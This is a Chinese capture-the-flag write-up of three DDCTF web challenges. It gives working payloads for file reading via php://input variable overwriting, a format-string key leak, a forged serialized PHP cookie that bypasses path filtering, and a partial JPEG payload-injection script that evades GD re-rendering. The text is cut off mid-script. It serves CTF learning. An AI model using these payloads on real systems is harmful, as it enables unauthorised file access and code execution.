1.滴
看到链接地址
117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 两次 base64 decode,再 hex2bin,得到 flag.jpg
想到是文件读取,index.php 装换为16进制,然后2次base64 encode,进行读取
查看源代码,发现一串这个,base64 decode得到源码
PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=
<?php
/** * Date: July 4,2018*/
error_reporting(E_ALL || ~E_NOTICE);header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";
/** Can you find the flag file?**/?>
事实证明这是绕不过的,然后发现一个博客链接地址,和一个日期,最后的脑洞就是在该日期对应的博客下的图片中有个提到swp文件,尝试读取该文件获得如下结果
解密base64得到f1ag!ddctf.php,然后尝试读取f1ag!ddctf.php,因为读取文件字符只允许 a-zA-Z0-9,所以我们利用$file = str_replace(“config”,"!", $file);这个条件,我们读取f1agconfigddctf.php,相当与读取
f1ag!ddctf.php,最后获得如下
PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg==
base64解码
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{$content=trim(file_get_contents($k));if($uid==$content){echo $flag;}else{echo'hello';}
}?>
接下来就是一个变量覆盖加file_get_contents与php://input结合
所以最后payload如下
117.51.150.246/f1ag!ddctf.php?k=php://input&uid=
也可以都为空
117.51.150.246/f1ag!ddctf.php?k=&uid=
2 web签到题
抓包,看到如下处,随便添个admin,返回一个链接地址
访问这个链接地址得到如下代码
url:app/Application.phpClass Application {var $path = '';public function response($data, $errMsg = 'success') {$ret = ['errMsg' => $errMsg,'data' => $data];$ret = json_encode($ret);header('Content-type: application/json');echo $ret;}public function auth() {$DIDICTF_ADMIN = 'admin';if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');return TRUE;}else{$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');exit();}}private function sanitizepath($path) {$path = trim($path);$path=str_replace('../','',$path);$path=str_replace('..\','',$path);return $path;
}public function __destruct() {if(empty($this->path)) {exit();}else{$path = $this->sanitizepath($this->path);if(strlen($path) !== 18) {exit();}$this->response($data=file_get_contents($path),'Congratulations');}exit();
}
}url:app/Session.phpinclude 'Application.php';
class Session extends Application {//key建议为8位字符串var $eancrykey = '';var $cookie_expiration = 7200;var $cookie_name = 'ddctf_id';var $cookie_path = '';var $cookie_domain = '';var $cookie_secure = FALSE;var $activity = "DiDiCTF";public function index(){if(parent::auth()) {$this->get_key();if($this->session_read()) {$data = 'DiDI Welcome you %s';$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);parent::response($data,'sucess');}else{$this->session_create();$data = 'DiDI Welcome you';parent::response($data,'sucess');}}}private function get_key() {//eancrykey and flag under the folder$this->eancrykey = file_get_contents('../');}public function session_read() {if(empty($_COOKIE)) {return FALSE;}$session = $_COOKIE[$this->cookie_name];if(!isset($session)) {parent::response("session not found",'error');return FALSE;}$hash = substr($session,strlen($session)-32);$session = substr($session,0,strlen($session)-32);if($hash !== md5($this->eancrykey.$session)) {parent::response("the cookie data not match",'error');return FALSE;}$session = unserialize($session);if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){return FALSE;}if(!empty($_POST["nickname"])) {$arr = array($_POST["nickname"],$this->eancrykey);$data = "Welcome my friend %s";foreach ($arr as $k => $v) {$data = sprintf($data,$v);}parent::response($data,"Welcome");}if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {parent::response('the ip addree not match'.'error');return FALSE;}if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {parent::response('the user agent not match','error');return FALSE;}return TRUE;}private function session_create() {$sessionid = '';while(strlen($sessionid) < 32) {$sessionid .= mt_rand(0,mt_getrandmax());}$userdata = array('session_id' => md5(uniqid($sessionid,TRUE)),'ip_address' => $_SERVER['REMOTE_ADDR'],'user_agent' => $_SERVER['HTTP_USER_AGENT'],'user_data' => '',);$cookiedata = serialize($userdata);$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);$expire = $this->cookie_expiration + time();setcookie($this->cookie_name,$cookiedata,$expire,$this->cookie_path,$this->cookie_domain,$this->cookie_secure);}
}$ddctf = new Session();
$ddctf->index();
题的大慨意思是判断是否存在ddctf_id这个cookie,并且不为空,不存在或者为空就根据它的session_create()创建session,赋值给cookie,下次请求就带上该cookie,看代码时候看到这个,那可能是要读文件了。
继续看一遍,发现$session的值是从cookie中取的(也就是cookie的值可控)进过一系列处理,然后传入到了unserialize中,明显可以反序列
刚好Application 类中如果给$path赋值就可以读文件,所以,总的思路就是构造cookie 利用上面的序列化,实列化Application为$path赋值,然后读文件就可以拿到flag了。
Class Application {var $path = '';public function response($data, $errMsg = 'success') {$ret = ['errMsg' => $errMsg,'data' => $data];$ret = json_encode($ret);header('Content-type: application/json');echo $ret;}public function auth() {$DIDICTF_ADMIN = 'admin';if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');return TRUE;}else{$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');exit();}}private function sanitizepath($path) {$path = trim($path);$path=str_replace('../','',$path);$path=str_replace('..\','',$path);return $path;
}public function __destruct() {if(empty($this->path)) {exit();}else{$path = $this->sanitizepath($this->path);if(strlen($path) !== 18) {exit();}$this->response($data=file_get_contents($path),'Congratulations');}exit();
}
}
但在序列化之前有如下代码需要绕过,也就是需要eancrykey才能构造
if($hash !== md5($this->eancrykey.$session))
继续看代码发现如下代码
if(!empty($_POST["nickname"])) {$arr = array($_POST["nickname"],$this->eancrykey);$data = "Welcome my friend %s";foreach ($arr as $k => $v) {$data = sprintf($data,$v);}parent::response($data,"Welcome");}
发现如果传入nickname=%s可以泄露key
我们先利用他自己创建的cookie得到key,如下
得到key EzblrbNS
然后我们利用key来构造以绕过,题目自己构造的session如下,
a:4:{s:10:"session_id";s:32:"2995dcd3757948e65b1e6af1e5965113";s:10:"ip_address";s:13:"125.70.254.70";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0";s:9:"user_data";s:0:"";}f9e5858a6aa4c7b98e3c08f71ee36731;
代码的功能就是把key与序列化值拼接然后md5
然后与后面的md5值进行比较
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);if($hash !== md5($this->eancrykey.$session))
我们想要反序列的对象为Application的对象,以用来读文件,看看Application类,对路径有过滤,用双写绕过
序列化代码如下
<?phpclass Application
{ var $path="....//";}
$a = new Application();
echo serialize($a);?>
构造后的如下
O:11:"Application":1:{s:4:"path";s:21:"....//";}77cd55a8d29df4f005f85e536d876525
编码后放入cookie得到flag
3.Web - Upload-IMG
要求上传的图片中有phpinfo,想起图片马,但每次上传后都显示没有,google php检查图片木马等等类似的,找到gd库二次渲染,用winhex打开第一次上传后下载的图片,也发现gd
上传一张jpg,然后下载下来利用如下脚本
具体原理可以参考如下链接
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("